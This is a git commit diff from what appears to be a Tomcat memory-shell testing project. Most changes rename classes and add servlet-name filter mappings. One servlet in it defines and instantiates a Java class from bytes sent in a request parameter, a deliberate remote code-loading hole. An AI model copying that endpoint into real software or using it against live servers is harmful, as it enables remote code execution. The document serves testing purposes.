feat: support servletNameFilter for TomcatFilterProbe

This commit is contained in:
ReaJason
2026-01-12 02:12:34 +08:00
parent 86738e308d
commit 9d5c5a1ddf
35 changed files with 348 additions and 212 deletions
@@ -5,12 +5,12 @@ import java.io.IOException;
* @author Wans
* @since 2025/08/25
*/
public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet {
public class BigIntegerClassLoaderServlet extends ClassLoader implements Servlet {
public BigIntegerClassLaoderServlet() {
public BigIntegerClassLoaderServlet() {
}
protected BigIntegerClassLaoderServlet(ClassLoader parent) {
protected BigIntegerClassLoaderServlet(ClassLoader parent) {
super(parent);
}
@@ -29,7 +29,7 @@ public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet
String data = req.getParameter("data");
try {
byte[] bytes = decodeBigInteger(data);
new BigIntegerClassLaoderServlet(Thread.currentThread().getContextClassLoader()).defineClass(null, bytes, 0, bytes.length).newInstance();
new BigIntegerClassLoaderServlet(Thread.currentThread().getContextClassLoader()).defineClass(null, bytes, 0, bytes.length).newInstance();
} catch (Exception e) {
throw new RuntimeException(e);
}
@@ -0,0 +1,23 @@
import javax.servlet.*;
import java.io.IOException;
/**
* @author ReaJason
* @since 2026/1/11
*/
public class ServletNameTestFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
chain.doFilter(request, response);
}
@Override
public void destroy() {
}
}
@@ -5,7 +5,7 @@ import java.io.IOException;
* @author ReaJason
* @since 2025/1/3
*/
public class EmptyFilter implements Filter {
public class UrlMappingTestFilter implements Filter {
@Override
public void destroy() {
+21 -5
View File
@@ -53,7 +53,7 @@
<servlet>
<servlet-name>biginteger</servlet-name>
<servlet-class>BigIntegerClassLaoderServlet</servlet-class>
<servlet-class>BigIntegerClassLoaderServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>biginteger</servlet-name>
@@ -79,11 +79,27 @@
</servlet-mapping>
<filter>
<filter-name>godzilla</filter-name>
<filter-class>EmptyFilter</filter-class>
<filter-name>urlMappingTestFilter</filter-name>
<filter-class>UrlMappingTestFilter</filter-class>
</filter>
<filter>
<filter-name>servletNameTestFilter</filter-name>
<filter-class>ServletNameTestFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>godzilla</filter-name>
<url-pattern>/*</url-pattern>
<filter-name>urlMappingTestFilter</filter-name>
<url-pattern>/b64</url-pattern>
</filter-mapping>
<filter-mapping>
<filter-name>urlMappingTestFilter</filter-name>
<url-pattern>/test</url-pattern>
</filter-mapping>
<filter-mapping>
<filter-name>servletNameTestFilter</filter-name>
<servlet-name>b64</servlet-name>
</filter-mapping>
<filter-mapping>
<filter-name>servletNameTestFilter</filter-name>
<servlet-name>biginteger</servlet-name>
</filter-mapping>
</web-app>